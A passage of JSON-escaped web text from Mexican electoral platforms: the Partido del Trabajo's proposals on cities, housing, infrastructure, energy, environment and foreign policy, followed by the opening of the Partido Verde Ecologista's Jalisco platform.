problemas propios de las urbes modernas. La vida urbana est\u00e1 marcada por los problemas de insuficiencia de vivienda, abasto de agua y alimentos, movilidad, espacios verdes, instalaciones deportivas, empleo, inseguridad, proliferaci\u00f3n de la delincuencia, narcotr\u00e1fico, drogadicci\u00f3n y delincuencia organizada, contaminaci\u00f3n ambiental, acceso a las diversas expresiones de la cultura y la diversi\u00f3n. Todo ello adquiere particular relevancia en las zonas habitadas por la clase media baja, las clases y sectores populares, y los grupos marginados, que representan m\u00e1s del 60 por ciento de los habitantes de las ciudades.<\/p>\n<p>A lo anterior se suma la permanencia de formas arcaicas de dominaci\u00f3n pol\u00edtica y de gobierno, la ausencia de pol\u00edticas integrales y sustentables de desarrollo urbano, y los abusos sobre la ciudadan\u00eda de los cuerpos polic\u00edacos. Adicionalmente, se han venido incrementando los problemas de salud f\u00edsica y mental provocados por la concentraci\u00f3n de poblaci\u00f3n en espacios reducidos.<\/p>\n<p>Para enfrentar adecuadamente estos problemas y crear condiciones sanas de convivencia entre la poblaci\u00f3n urbana, el Partido del Trabajo propone instrumentar las siguientes acciones:<\/p>\n<ul>\n<li>Descentralizaci\u00f3n y desconcentraci\u00f3n urbana.<\/li>\n<li>Apoyar el desarrollo de las ciudades medias y peque\u00f1as, mediante el incremento sustancial de los recursos de que participan los municipios, con la asignaci\u00f3n de recursos en proporci\u00f3n a su tama\u00f1o y necesidades.<\/li>\n<li>Aplicaci\u00f3n de pol\u00edticas p\u00fablicas y disposiciones legales para la reorganizaci\u00f3n de la vida municipal, que pongan fin a los cacicazgos y negocios il\u00edcitos que se realizan al amparo del poder.<\/li>\n<li>Asignar m\u00e1s recursos para mejorar, ampliar y profesionalizar la seguridad p\u00fablica.<\/li>\n<li>Promover la organizaci\u00f3n aut\u00f3noma de la sociedad en sus diversas demarcaciones territoriales y formas de expresi\u00f3n, para que asuma tareas de gesti\u00f3n de servicios, representaci\u00f3n vecinal y formaci\u00f3n de organismos de cooperaci\u00f3n y consulta con las autoridades municipales.<\/li>\n<li>Ampliar, multiplicar y fortalecer los programas gubernamentales para extender los servicios p\u00fablicos b\u00e1sicos a toda la poblaci\u00f3n.<\/li>\n<li>Fortalecimiento y aplicaci\u00f3n de pol\u00edticas de desarrollo regional y urbano, acordes con los problemas de las ciudades y las demandas de sus habitantes.<\/li>\n<li>Mejorar y fortalecer las pol\u00edticas y programas gubernamentales enfocados a la movilidad de la poblaci\u00f3n.<\/li>\n<li>Garantizar la ampliaci\u00f3n y diversificaci\u00f3n del acceso a la cultura, el deporte, el esparcimiento y la diversi\u00f3n de las clases populares, medias y sectores marginados.<\/li>\n<\/ul>\n<p><strong>12.\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Vivienda<\/strong><\/p>\n<p>Nuestro pa\u00eds padece un d\u00e9ficit de vivienda considerable que oscila entre 6 y 7 millones de casas-habitaci\u00f3n, sin considerar las limitaciones en materia de mantenimiento y reparaci\u00f3n del parque habitacional existente. El problema que enfrentan m\u00e1s de 7 millones de familias mexicanas que no cuentan con una vivienda digna no es principalmente un problema de espacio, porque nuestro territorio es muy grande y no tiene ninguna clase de limitaci\u00f3n en ese sentido, sino la falta de recursos econ\u00f3micos suficientes.<\/p>\n<p>Las instituciones p\u00fablicas encargadas de proveer vivienda a las y los trabajadores, desde el sexenio 1988\u20131994 dejaron de construirlas. Se transformaron en simples intermediarias entre los demandantes de vivienda y las instituciones financieras y constructoras privadas. Hoy las y los trabajadores deben tener un ahorro previo para ser sujetos de cr\u00e9dito. El Gobierno Federal se olvid\u00f3 de ellos dejando que el mercado se convirtiera en el principal instrumento de asignaci\u00f3n de recursos para la inversi\u00f3n en desarrollo inmobiliario. En consecuencia, las constructoras y bancos privados enfocaron sus proyectos hacia los sectores sociales de medianos y altos ingresos, bajo el criterio de rentabilidad econ\u00f3mica por encima del de inter\u00e9s social.<\/p>\n<p>El Partido del Trabajo considera que la \u00fanica forma de garantizar una vivienda digna a las familias trabajadoras, como lo dice nuestra Constituci\u00f3n, es mediante el compromiso directo del Gobierno Federal de construir esas viviendas. Por esa raz\u00f3n proponemos la creaci\u00f3n de la Secretar\u00eda de la Vivienda, para que coordine el esfuerzo de todas las instituciones p\u00fablicas de vivienda. Asimismo, destinar los recursos financieros necesarios para atender y revertir en el corto plazo el grave d\u00e9ficit habitacional. Se debe disponer de \u00e1reas p\u00fablicas para destinarlas a la construcci\u00f3n de viviendas de inter\u00e9s social. S\u00f3lo el Gobierno Federal tiene la capacidad para solucionar el problema de la vivienda de las y los trabajadores. De continuar insistiendo en las pol\u00edticas que privilegian al mercado, estaremos condenando a millones de familias a vivir hacinadas y destinando m\u00e1s del cincuenta por ciento de sus ingresos en el pago de renta.<\/p>\n<p><strong>13.\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Infraestructura b\u00e1sica<\/strong><\/p>\n<p>M\u00e9xico se encuentra en los \u00faltimos lugares en materia de creaci\u00f3n de infraestructura f\u00edsica y equipamiento urbano entre las naciones miembros de la OCDE. La inversi\u00f3n en infraestructura constituye un componente b\u00e1sico de la competitividad de una naci\u00f3n. Sin embargo, nuestro pa\u00eds ha tenido un importante rezago en esta materia.<\/p>\n<p>En telecomunicaciones a\u00fan tenemos grandes carencias. Todav\u00eda muchas familias mexicanas no logran acceder a la telefon\u00eda, televisi\u00f3n e internet. La pol\u00edtica de las empresas telef\u00f3nicas consiste en invertir principalmente en aquellos lugares donde existe una alta concentraci\u00f3n de la poblaci\u00f3n y de demanda del servicio. Muchas comunidades rurales todav\u00eda no tienen acceso al servicio telef\u00f3nico.<\/p>\n<p>En ese mismo tenor debe ubicarse la necesidad de ampliar la infraestructura y productividad en materia de energ\u00eda el\u00e9ctrica y en la producci\u00f3n de petr\u00f3leo y gas. Sin embargo, la <strong><em>contrarreforma energ\u00e9tica neoliberal de 2013-2014<\/em><\/strong> no tuvo como prop\u00f3sito atender los rezagos en infraestructura, sino la privatizaci\u00f3n y extranjerizaci\u00f3n del sector energ\u00e9tico (especialmente de la exploraci\u00f3n y extracci\u00f3n de petr\u00f3leo y gas, aunque lo mismo se hizo con la producci\u00f3n y distribuci\u00f3n de electricidad) mediante el llamado \u201cPacto por M\u00e9xico\u201d. Desde nuestra perspectiva, en realidad fue un <strong><em>\u201cPacto contra M\u00e9xico\u201d<\/em><\/strong>, suscrito por el PRI, el PAN, el PRD y el Ejecutivo Federal, al que se adhirieron despu\u00e9s otros partidos, y respaldado por la oligarqu\u00eda y el bloque de derechas en general.\u00a0<\/p>\n<p>De todos los que integran el sistema de partidos en nuestro pa\u00eds, el Partido del Trabajo fue el \u00fanico que se opuso a dicho \u201cPacto\u201d, denunci\u00e1ndolo y combati\u00e9ndolo en las dos C\u00e1maras del Congreso de la Uni\u00f3n, como expresi\u00f3n de la continuidad y profundizaci\u00f3n del modelo neoliberal. Simult\u00e1neamente, a lo largo y ancho del pa\u00eds, en las capitales y ciudades principales de las entidades federativas, desplegamos una en\u00e9rgica y prolongada campa\u00f1a en la que explicamos que sus principales efectos consist\u00edan en la transferencia a manos del capital privado nacional y sobre todo extranjero, de lo que quedaba -de enorme valor estrat\u00e9gico- del patrimonio de tod@s l@s mexican@s: el petr\u00f3leo, el gas, el sector el\u00e9ctrico, una parte mayor del espectro radioel\u00e9ctrico y los derechos hist\u00f3ricos de las y los trabajadores, entre lo m\u00e1s relevante.<\/p>\n<p>Subrayamos que todo ello pondr\u00eda en grave riesgo la propia viabilidad de M\u00e9xico como Naci\u00f3n independiente y soberana. Y esto es lo que ha venido ocurriendo en los a\u00f1os recientes. Por estas razones, el Partido del Trabajo propone una reforma a la contrarreforma neoliberal en materia energ\u00e9tica: a) que recupere los recursos energ\u00e9ticos -petr\u00f3leo, gas y electricidad- que son y deben seguir siendo patrimonio de tod@s l@s mexican@s; b) que restituya el control y aprovechamiento de los mismos por parte del Estado mexicano, como expresi\u00f3n del inter\u00e9s nacional; c) que restablezca su car\u00e1cter de palancas estrat\u00e9gicas para el desarrollo de nuestro pa\u00eds; y d) que garantice su explotaci\u00f3n en beneficio de tod@s l@s mexican@s, y no s\u00f3lo de unos cuantos como ocurre actualmente con la contrarreforma neoliberal.<\/p>\n<p>La carencia de inversi\u00f3n en el \u00e1rea de saneamiento, distribuci\u00f3n y abasto agua potable, constituye otra asignatura pendiente en nuestro pa\u00eds. Actualmente diversas ciudades y numerosos pueblos y comunidades rurales del territorio nacional, padecen la carencia de agua entubada para el consumo humano, de animales y para la producci\u00f3n. El Partido del Trabajo propone incrementar la inversi\u00f3n p\u00fablica para garantizar el abasto suficiente de agua, tanto para las ciudades como para el campo.<\/p>\n<p>Por otra parte, seg\u00fan el Censo Nacional de Poblaci\u00f3n una de cada diez personas no dispone del servicio de agua, una de cada veinte no tiene energ\u00eda el\u00e9ctrica y una de cada cinco no tiene drenaje en su vivienda. Hist\u00f3ricamente esta problem\u00e1tica todav\u00eda no se ha resuelto en su totalidad y, a\u00fan m\u00e1s, se ha agudizado como producto del crecimiento de la pobreza. Consideramos como prioridad abatir el rezago que tenemos en estas materias. Es un reto que debemos afrontar cuanto antes para lograr la equidad y la igualdad social en nuestro pa\u00eds. Es necesario aumentar la infraestructura en materia de agua entubada, electricidad, drenaje y pavimentaci\u00f3n, para garantizar que los habitantes de las ciudades, los pueblos y comunidades, cuenten con los servicios b\u00e1sicos que demanda el desarrollo social en nuestro pa\u00eds.<\/p>\n<p><strong>14.\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Medio ambiente y calidad de vida<\/strong><\/p>\n<p>Las condiciones medio ambientales en que vivimos actualmente son alarmantes. La contaminaci\u00f3n de r\u00edos y mares por descargas de aguas negras y desechos industriales, la sobre explotaci\u00f3n de mares, el empobrecimiento y contaminaci\u00f3n de los suelos, la poluci\u00f3n del aire, la constante devastaci\u00f3n de bosques y selvas, la escasez de recursos acu\u00edferos especialmente en regiones de mayor concentraci\u00f3n poblacional, as\u00ed como el deterioro de las condiciones de vida en los pueblos y las grandes zonas metropolitanas (como la Ciudad de M\u00e9xico,\u00a0 Monterrey, Guadalajara y Puebla), se debe a la carencia de pol\u00edticas y estrategias p\u00fablicas adecuadas y sustentables.<\/p>\n<p>La problem\u00e1tica antes enunciada tiene amplios y graves impactos en materia de salud, educaci\u00f3n, movilidad, desarrollo social y crecimiento econ\u00f3mico. Para lograr un mejoramiento efectivo del pa\u00eds en estos rubros se requiere un enfoque integral de sustentabilidad. En esta direcci\u00f3n, el Partido del Trabajo propone las siguientes medidas:<\/p>\n<ul>\n<li>Elaborar un Plan Nacional de Protecci\u00f3n, Mejoramiento y Sustentabilidad Ambiental, con la participaci\u00f3n de los mejores especialistas, las universidades y las organizaciones sociales y civiles del pa\u00eds, con la aportaci\u00f3n de cient\u00edficos extranjeros del m\u00e1s alto nivel.<\/li>\n<li>Incorporar m\u00e1s ampliamente a la poblaci\u00f3n y a las organizaciones sociales y civiles en la lucha por la protecci\u00f3n, mejoramiento y sustentabilidad del medio ambiente y la calidad de vida, a trav\u00e9s de los instrumentos de la democracia participativa.<\/li>\n<li>Crear la Defensor\u00eda para la Sustentabilidad del Medio Ambiente y la Calidad de Vida, cuyas funciones ser\u00e1n recibir, analizar y dictaminar las demandas que se hagan al respecto, para gestionar ante el gobierno con car\u00e1cter vinculante las acciones pertinentes.<\/li>\n<li>Fortalecer los aspectos culturales y educativos de la lucha a favor de la salud y la recuperaci\u00f3n de la ecolog\u00eda.<\/li>\n<li>Modificar la legislaci\u00f3n vigente para reforzar el combate penal y administrativo contra las pr\u00e1cticas destructivas y contaminantes del medio ambiente.<\/li>\n<li>Fortalecer la participaci\u00f3n y cooperaci\u00f3n internacional en las cumbres y conferencias sobre cambio clim\u00e1tico y medio ambiente, para contribuir a resolver los problemas medio ambientales del mundo, de Am\u00e9rica Latina y de M\u00e9xico en particular.<\/li>\n<\/ul>\n<p>\t\t\t\t\t\t\t\t\t\t\t\tVII.\tM\u00e9xico y el mundo\t\t\t\t\t<\/p>\n<p><strong>1.\u00a0\u00a0 Proceso de globalizaci\u00f3n y la crisis mundial<\/strong><\/p>\n<p>La mundializaci\u00f3n o globalizaci\u00f3n avanz\u00f3 a pasos acelerados hasta el 2001, merced a la difusi\u00f3n y abaratamiento de los componentes de la tecnolog\u00eda de la informaci\u00f3n que constituy\u00f3 el fundamento de la integraci\u00f3n econ\u00f3mica mundial. Sin embargo, los excesos burs\u00e1tiles y la sobreproducci\u00f3n de capital, unidos a la degeneraci\u00f3n \u00e9tica y moral del capitalismo corporativo, profundizaron lo que parec\u00eda ser una recesi\u00f3n transitoria, convirti\u00e9ndola en el primer gran desaf\u00edo a la capacidad del capitalismo por dominar todos los circuitos mundiales. El reloj de la globalizaci\u00f3n parece haber comenzado a caminar al rev\u00e9s. Desde 2008 est\u00e1 en curso una crisis econ\u00f3mica mundial de mayor amplitud, profundidad, duraci\u00f3n y de m\u00faltiples dimensiones (financiera, comercial, productiva, social, ideol\u00f3gica y pol\u00edtica) que la \u201cGran Depresi\u00f3n\u201d de 1929-1933, la cual posiblemente se prolongue m\u00e1s all\u00e1 del 2020.<\/p>\n<p>Las econom\u00edas en desarrollo, como es el caso de M\u00e9xico, participan en estos procesos de manera subordinada y precaria, lo que las obliga y condiciona a enfrentar costos y retos mayores conforme han seguido avanzando estas circunstancias y sus efectos.<\/p>\n<p>La construcci\u00f3n de un orden internacional basado en la cooperaci\u00f3n, la regulaci\u00f3n estatal, pero sobre todo el control del capital financiero especulativo es una necesidad urgente. Pero como sucedi\u00f3 a partir de los a\u00f1os treinta, la emergencia de un orden institucional superior depende de una correlaci\u00f3n de fuerzas a nivel nacional y mundial que parece haber empezado a dibujarse en el horizonte de los pr\u00f3ximos a\u00f1os. En este marco, el papel de las fuerzas, partidos y gobiernos de izquierdas es fundamental, ya que representa la \u00fanica vertiente capaz de articular los elementos pol\u00edticos, ideol\u00f3gicos y culturales que requiere la construcci\u00f3n de un mundo mejor. El Partido del Trabajo propone y enfoca sus esfuerzos para la transformaci\u00f3n de nuestro pa\u00eds y del mundo en esta direcci\u00f3n.<\/p>\n<p><strong>2.\u00a0\u00a0 M\u00e9xico en el nuevo contexto internacional<\/strong><\/p>\n<p>M\u00e9xico est\u00e1 transitando desde muchos a\u00f1os por un proceso de estancamiento econ\u00f3mico prolongado, ausencia de desarrollo y deterioro del tejido social, y desgaste y crisis de las instituciones. Precisamente, un rasgo distintivo de esta crisis es la par\u00e1lisis institucional resultado de haber confiado ciegamente en un proyecto neoliberal basado en la integraci\u00f3n econ\u00f3mica y financiera con Estados Unidos, pa\u00eds que desde la era Bush (2000-2008) se fue distanciado crecientemente de M\u00e9xico. Las acciones de Barack Obama no lograron cambios trascendentales a nuestro favor. Y la llegada de Donald Trump al gobierno de los EUA ha tra\u00eddo consigo un panorama significativamente adverso para M\u00e9xico en las relaciones bilaterales.<\/p>\n<p>La irresponsable incomprensi\u00f3n de los riesgos financieros, econ\u00f3micos, sociales y pol\u00edticos de la crisis, por parte de los recientes gobiernos de los EUA y M\u00e9xico, han agudizado los efectos negativos del modelo neoliberal. De hecho, desde que estall\u00f3 la crisis mundial en 2008 se puso en evidencia el agotamiento del mismo, y sin embargo sigue prevaleciendo en la din\u00e1mica mundial.<\/p>\n<p>En este contexto, se ha venido configurando un escenario de transformaciones geopol\u00edticas y geoecon\u00f3micas, y de redefiniciones geoestrat\u00e9gicas, entre las principales potencias imperialistas, los llamados pa\u00edses emergentes, los bloques regionales y los \u201cpa\u00edses en v\u00edas de desarrollo\u201d. M\u00e9xico ha perdido presencia en este escenario como resultado, sobre todo, del err\u00e1tico manejo de la pol\u00edtica exterior por los tres recientes gobiernos neoliberales.<\/p>\n<p>El Partido del Trabajo considera que la recuperaci\u00f3n del importante papel que tuvo M\u00e9xico en el concierto internacional el periodo 1934-2000, s\u00f3lo puede provenir de la adopci\u00f3n de un Nuevo Proyecto Nacional, para establecer un nuevo rumbo econ\u00f3mico, enfrentar la crisis, la defensa de la econom\u00eda popular, el desarrollo social sustentable, y la recuperaci\u00f3n de la soberan\u00eda nacional; todo ello respaldado en el m\u00e1s amplio apoyo de las clases trabajadoras, las masas populares y los peque\u00f1os, medianos y grandes empresarios nacionalistas.<\/p>\n<p>Desde luego, lo anterior acompa\u00f1ado de una nueva pol\u00edtica exterior sustentada en la \u201cDoctrina Estrada\u201d, pero adaptada a las circunstancias del mundo actual. La recuperaci\u00f3n de la pol\u00edtica exterior mexicana exige un cambio de ejes, que implica trasladar el \u00e9nfasis de la pol\u00edtica nacional al fortalecimiento interno para negociar con \u00e9xito en la arena internacional. Negando esta f\u00f3rmula elemental, los gobiernos de Salinas en adelante hicieron lo contrario, es decir, trataron de crear condiciones favorables a partir de acuerdos externos para de all\u00ed mejorar la situaci\u00f3n interna. Esta estrategia rindi\u00f3 algunos frutos, pero vista en perspectiva y ante los retos que se avecinan puede evaluarse como fallida.<\/p>\n<p>Solamente con fortaleza interna M\u00e9xico podr\u00eda llevar adelante una pol\u00edtica exterior que consolide su b\u00fasqueda de mejores espacios internacionales como lo han hecho China, Corea del Sur, Brasil, India y en cierta medida Chile. El reconocimiento del liderazgo internacional de M\u00e9xico exige tambi\u00e9n un nuevo acercamiento con sus vecinos latinoamericanos para de all\u00ed derivar acuerdos diplom\u00e1ticos, comerciales, productivos, financieros y culturales, que sirvan de contrapeso a las tendencias m\u00e1s negativas que gener\u00f3 la globalizaci\u00f3n neoliberal y para enfrentar en mejores condiciones los graves y prolongados efectos que ha provocado la crisis econ\u00f3mica mundial y los que est\u00e1 generando el gobierno estadunidense de Donald Trump.<\/p>\n<p><strong>3.\u00a0\u00a0 M\u00e9xico y Estados Unidos de Norteam\u00e9rica<\/strong><\/p>\n<p>Tras una sucesi\u00f3n de cambios dram\u00e1ticos en los Estados Unidos como fueron los esc\u00e1ndalos corporativos, el terrorismo, la crisis econ\u00f3mico-financiera que devino mundial, y actualmente las contradicciones y desencuentros generados por la administraci\u00f3n de D. Trump, se ha producido un alejamiento entre ambos pa\u00edses que se vio tambi\u00e9n alimentado por conflictos de largo plazo que permanecieron encubiertos por la prosperidad de los a\u00f1os noventa del siglo pasado.<\/p>\n<p>El racismo antimexicano en Estados Unidos hab\u00eda venido creciendo desde fines de los ochenta a medida que los inmigrantes mexicanos se convert\u00edan en la primera minor\u00eda en ese pa\u00eds. La crisis en el agro -que aliment\u00f3 la migraci\u00f3n- y el tr\u00e1fico de drogas se conjuntaron para dar la impresi\u00f3n entre los grupos conservadores de los EUA de que M\u00e9xico es la principal amenaza social y a la seguridad de ese pa\u00eds, postura retomada y propalada insistentemente por Trump. Por un tiempo pareci\u00f3 que el TLCAN podr\u00eda haber revertido la situaci\u00f3n anterior, generando beneficios para los grupos mayoritarios de la poblaci\u00f3n de nuestro pa\u00eds, pero el tratado comercial s\u00f3lo produjo ganancias que capitalizaron la oligarqu\u00eda nacional y sus aliados transnacionales.<\/p>\n<p>En s\u00edntesis, las relaciones entre M\u00e9xico y Estados Unidos de Norteam\u00e9rica se han enfriado y deteriorado considerablemente. Esto se ha expresado especialmente en los temas de la migraci\u00f3n y del TLCAN. Sobre ambas cuestiones se ha expresado con excesiva beligerancia el gobierno de Trump, y su prop\u00f3sito expreso es someter a M\u00e9xico.<\/p>\n<p>El Partido del Trabajo propone que nuestro pa\u00eds aproveche la situaci\u00f3n para sacudirse la dependencia y subordinaci\u00f3n a que ha estado sometido a los EUA desde la \u00e9poca de Porfirio D\u00edaz hasta nuestros d\u00edas. Adoptar una postura firme de defensa a la dignidad y los derechos de los migrantes mexicanos en ese pa\u00eds. Proponer una agenda com\u00fan para elaborar una reforma migratoria que beneficie a ambos pa\u00edses. Una renegociaci\u00f3n firme, apegada a la defensa de los intereses comerciales, econ\u00f3micos, financieros y laborales, entre otros, de M\u00e9xico por parte de nuestro gobierno; y apoyada en el marco jur\u00eddico-econ\u00f3mico internacional. Y de no ser posible llegar a acuerdos en estos t\u00e9rminos, iniciar la disoluci\u00f3n ordenada del TLCAN. En tal circunstancia, llevar la relaci\u00f3n bilateral de manera urgente pero inteligente a un nuevo terreno de negociaci\u00f3n. En dicha renegociaci\u00f3n el restablecimiento de la vocaci\u00f3n latinoamericanista de M\u00e9xico ser\u00eda una carta que jugar\u00eda a nuestro favor y, por lo tanto, proponemos que el gobierno la retome inmediatamente.<\/p>\n<p><strong>4.\u00a0\u00a0\u00a0 Acuerdos y tratados en los principales \u00e1mbitos de las relaciones exteriores: econom\u00eda, ambiente, ciencia y tecnolog\u00eda y derecho internacional<\/strong><\/p>\n<p>La tradici\u00f3n de los gobiernos neoliberales pri\u00edstas, retomada en su momento por los gobiernos subsiguientes de Fox y Calder\u00f3n, y tambi\u00e9n por el de Pe\u00f1a Nieto, ha consistido en privilegiar las relaciones econ\u00f3micas y comerciales con los EUA. No obstante, a lo largo de esos mismos gobiernos M\u00e9xico suscribi\u00f3 acuerdos y tratados con otros pa\u00edses, batiendo el record mundial por el n\u00famero de ellos. Pero a pesar de lo anterior, a\u00fan permanece el rezago de M\u00e9xico en t\u00e9rminos de ciencia y tecnolog\u00eda, derecho internacional, combate al crimen organizado y medio ambiente. Inexplicablemente, en muchos sentidos seguimos cerrados a influencias del exterior, que podr\u00edan usarse para enriquecer, desarrollar y fortalecer a nuestro pa\u00eds en todos esos \u00e1mbitos y algunos otros.<\/p>\n<p>El Partido del Trabajo considera que la diversidad enriquece. Proponemos que los acuerdos y tratados internacionales celebrados por M\u00e9xico tengan un contenido no s\u00f3lo econ\u00f3mico-comercial, sino tambi\u00e9n cient\u00edfico y cultural, para nivelar las materias en que se han concentrado nuestros tratos con los pa\u00edses latinoamericanos y caribe\u00f1os.<\/p>\n<p>El principio motor que mejor contribuye a que los pa\u00edses avancen en el desarrollo y consolidaci\u00f3n de sus v\u00ednculos es el de la solidaridad. Por esa raz\u00f3n, insistimos que los tratados y acuerdos en que M\u00e9xico sea parte, sean analizados y discutidos desde la perspectiva solidaria y no s\u00f3lo desde la perspectiva unilateral del costo-beneficio. Consideramos que no es solamente cambiando de contenido los tratados y acuerdos lo que nos acercar\u00e1 m\u00e1s a nuestros pa\u00edses hermanos sino, sobre todo, la perspectiva de solidaridad desde la cual se aborden las negociaciones y los acuerdos.<\/p>\n<p><strong>5.\u00a0\u00a0 M\u00e9xico y Am\u00e9rica Latina<\/strong><\/p>\n<p>Con la creciente integraci\u00f3n que se fue llevando a cabo con la econom\u00eda de Norteam\u00e9rica, M\u00e9xico experiment\u00f3 un fuerte alejamiento con sus vecinos de Am\u00e9rica Latina y el Caribe que s\u00f3lo se vio parcialmente compensado por algunas iniciativas en materia comercial bilateral. Muchos gobiernos resintieron ese alejamiento, principalmente las naciones centroamericanas. La rivalidad con Brasil lleg\u00f3 a su m\u00e1ximo hist\u00f3rico hacia mediados de la primera d\u00e9cada del siglo XXI, debido al choque pol\u00edtico en torno a los espacios de integraci\u00f3n comercial del TLCAN y ALCA vs el MERCOSUR. La relaci\u00f3n con Cuba se fue deteriorando con altibajos desde mediados de la d\u00e9cada de 1990 hasta ahora, dejando un sordo resentimiento que no acaba de superarse.<\/p>\n<p>En todo caso, M\u00e9xico permanece como el vecino distante y no podr\u00e1 recomponer esas relaciones con facilidad porque afronta problemas muy serios en muchos \u00e1mbitos de su pol\u00edtica exterior, que exigen respuestas casi simult\u00e1neas. Si despu\u00e9s de la firma del TLCAN M\u00e9xico pareci\u00f3 gozar de una situaci\u00f3n privilegiada que le permit\u00eda actuar como bisagra uniendo a las dos Am\u00e9ricas, despu\u00e9s se convirti\u00f3 en un factor de desuni\u00f3n que ha complicado su reposicionamiento en el mundo. Y ante el inter\u00e9s del gobierno de los EUA de renegociar el TLCAN en t\u00e9rminos de absoluto beneficio para ese pa\u00eds y de sometimiento de M\u00e9xico, se hace evidente el error estrat\u00e9gico y el aislamiento en que se incurri\u00f3, y debe corregirse retomando el sentido latinoamericanista que siempre nos caracteriz\u00f3 antes de adoptar el neoliberalismo. Proponemos corregir el rumbo en este sentido.\u00a0<\/p>\n<p><strong>6.\u00a0\u00a0 Bilateralidad y multilateralidad en el nuevo contexto<\/strong><\/p>\n<p>M\u00e9xico debe rectificar su pol\u00edtica exterior hacia la multilateralidad, apoyado en una recomposici\u00f3n interna que le de la fuerza que requiere. La clave est\u00e1 en buscar una aproximaci\u00f3n con todos los pa\u00edses de Am\u00e9rica Latina y el Caribe y que sirva como plataforma para abrir nuevas negociaciones con EUA, la UE y los pa\u00edses del oriente asi\u00e1tico, en particular China, Jap\u00f3n y Corea del Sur.<\/p>\n<p>El futuro de la pol\u00edtica exterior de M\u00e9xico depende por lo tanto de un giro dram\u00e1tico en el que se trastoquen y reubiquen los elementos que la componen que ya no garantizan ganancias estrat\u00e9gicas. No hay posibilidades de renegociaci\u00f3n con Estados Unidos en tanto prive la debilidad interna y la nueva relaci\u00f3n con Am\u00e9rica Latina y el Caribe no podr\u00e1 avanzar si M\u00e9xico sigue siendo visto como un pa\u00eds subordinado a los EUA.<\/p>\n<p>El giro que debe dar M\u00e9xico en cuanto a su pol\u00edtica exterior debe combinar los mejores elementos de su tradici\u00f3n diplom\u00e1tica como la Doctrina Estrada, con un nuevo activismo basado en su tradici\u00f3n latinoamericanista. La voz exterior de M\u00e9xico debe alzarse para demandar un orden internacional m\u00e1s justo, el control y regulaci\u00f3n efectiva del capital financiero especulativo, privilegiar el combate a la pobreza, derrotar al militarismo y reclamar mayor espacio para el desarrollo nacional, que es la \u00fanica v\u00eda para mejorar las condiciones de vida de las grandes mayor\u00edas.<\/p>\n<p>\t\t\t\t\t\t\t\t\t\t\t\tI.\tIntroducci\u00f3n\t\t\t\t\t<\/p>\n<p>El Partido Verde Ecologista de M\u00e9xico se ha comprometido con la protecci\u00f3n del medio ambiente y la contenci\u00f3n del deterioro ecol\u00f3gico; por lo que su acci\u00f3n pol\u00edtica se ha orientado a la promoci\u00f3n de un desarrollo sustentable que permita a los seres humanos vivir en una sociedad justa y libre, pero sobre todo, en armon\u00eda con la naturaleza.<\/p>\n<p>M\u00e9xico es un pa\u00eds que cuenta con diversidad cultural, que concibe una mezcla de tradiciones y costumbres extraordinarias, que nos hace ser un pa\u00eds excepcional, con una geograf\u00eda inigualable. Jalisco es un Estado lleno de riquezas naturales, las cuales pueden permitir generar un desarrollo econ\u00f3mico y social equitativo para todos. Hoy atravesamos por desaf\u00edos que\u00a0 obstaculizan el crecimiento y desarrollo adecuado de la sociedad. Ante un horizonte de violencia, violaciones de derechos, desigualdad e injusticia, es m\u00e1s urgente que nunca recuperar la confianza en nuestro estado para reconstruir el revestimiento social y lograr un pa\u00eds m\u00e1s armonioso.<\/p>\n<p>Como naci\u00f3n y estado, contamos con fortalezas que pueden hacerle frente a los desaf\u00edos existentes como desastres naturales y sismos de gran intensidad. La empat\u00eda generada entre los mexicanos a causa de acontecimientos recientes se puede aprovechar para que de manera responsable, esas oportunidades se puedan convertir en logros, con el fin de construir un M\u00e9xico m\u00e1s pr\u00f3spero, m\u00e1s libre y m\u00e1s justo.<\/p>\n<p>El Partido Verde Ecologista de M\u00e9xico busca construir soluciones mediante el desarrollo e implementaci\u00f3n de pol\u00edticas p\u00fablicas que tengan como objetivo principal el desarrollo sostenible del pa\u00eds y del estado. Mediante la responsabilidad y el compromiso se podr\u00e1n\u00a0 ejecutar las propuestas que contribuyan a mejorar el rumbo.<\/p>\n<p>Atravesamos dificultades sociales, pol\u00edticas, econ\u00f3micas y culturales que se reflejan en diferentes \u00e1mbitos como son la pobreza, la corrupci\u00f3n, la deficiente oferta educativa y de salud, as\u00ed como la inseguridad que ha derivado en una ola de violencia,\u00a0 principalmente hacia las mujeres, que se ha ido incrementando con el paso del tiempo. Aunado a esto existe un problema grave de desempleo y falta de oportunidades que afecta a la sociedad en general, pero sobre todo a los j\u00f3venes, quienes enfrentan grandes barreras que les impiden desarrollarse profesionalmente.<\/p>\n<p>Desde sus or\u00edgenes, el Partido Verde Ecologista de M\u00e9xico ha luchado por convertirse en un instrumento pol\u00edtico de representaci\u00f3n social de las causas que aquejan a nuestro pa\u00eds. No cabe duda que el esfuerzo, pasi\u00f3n y trabajo del partido se han visto reflejados en las urnas; esto ha sido posible gracias a la confianza depositada por los ciudadanos en la plataforma electoral del Partido Verde.<\/p>\n<p>En este tenor, el Partido Verde propone pol\u00edticas p\u00fablicas encaminadas a una mejora en t\u00e9rminos de\u00a0 seguridad,\u00a0 justicia, crecimiento econ\u00f3mico sustentable,\u00a0 empoderamiento de las mujeres, al desarrollo econ\u00f3mico para los j\u00f3venes, una\u00a0 mejora en la educaci\u00f3n,\u00a0 inclusi\u00f3n social,\u00a0 seguridad, una oferta de salud dirigida al p\u00fablico infantil y el equilibrio ambiental respetando todas la manifestaciones de la vida, protegiendo al\u00a0 medio ambiente y la contenci\u00f3n del deterioro ecol\u00f3gico. Estas acciones pol\u00edticas se orientan a la promoci\u00f3n de un desarrollo sustentable que permita a los seres humanos vivir en una sociedad justa, libre y en armon\u00eda con la naturaleza.<\/p>\n<p>Con esa convicci\u00f3n, el Partido Verde Ecologista de M\u00e9xico presenta esta plataforma electoral, en la cual se toman en cuenta las problem\u00e1ticas que se tienen en diversos sectores sociales de todas las regiones del Estado. Siempre actuando con responsabilidad y generando una relaci\u00f3n de empat\u00eda entre la instituci\u00f3n pol\u00edtica y la sociedad, sin olvidar nuestros principios rectores como lo son el cuidado al medio ambiente y el desarrollo sostenible.<\/p>\n<p>Es importante resaltar que el Partido Verde Ecologista trabajar\u00e1 en conjunto con la sociedad organizada de manera participativa, democr\u00e1tica y libre, a fin de tomar las decisiones fundamentales de su inter\u00e9s, que favorezcan la protecci\u00f3n de los recursos naturales y la protecci\u00f3n de cada persona; impulsando tambi\u00e9n el desarrollo 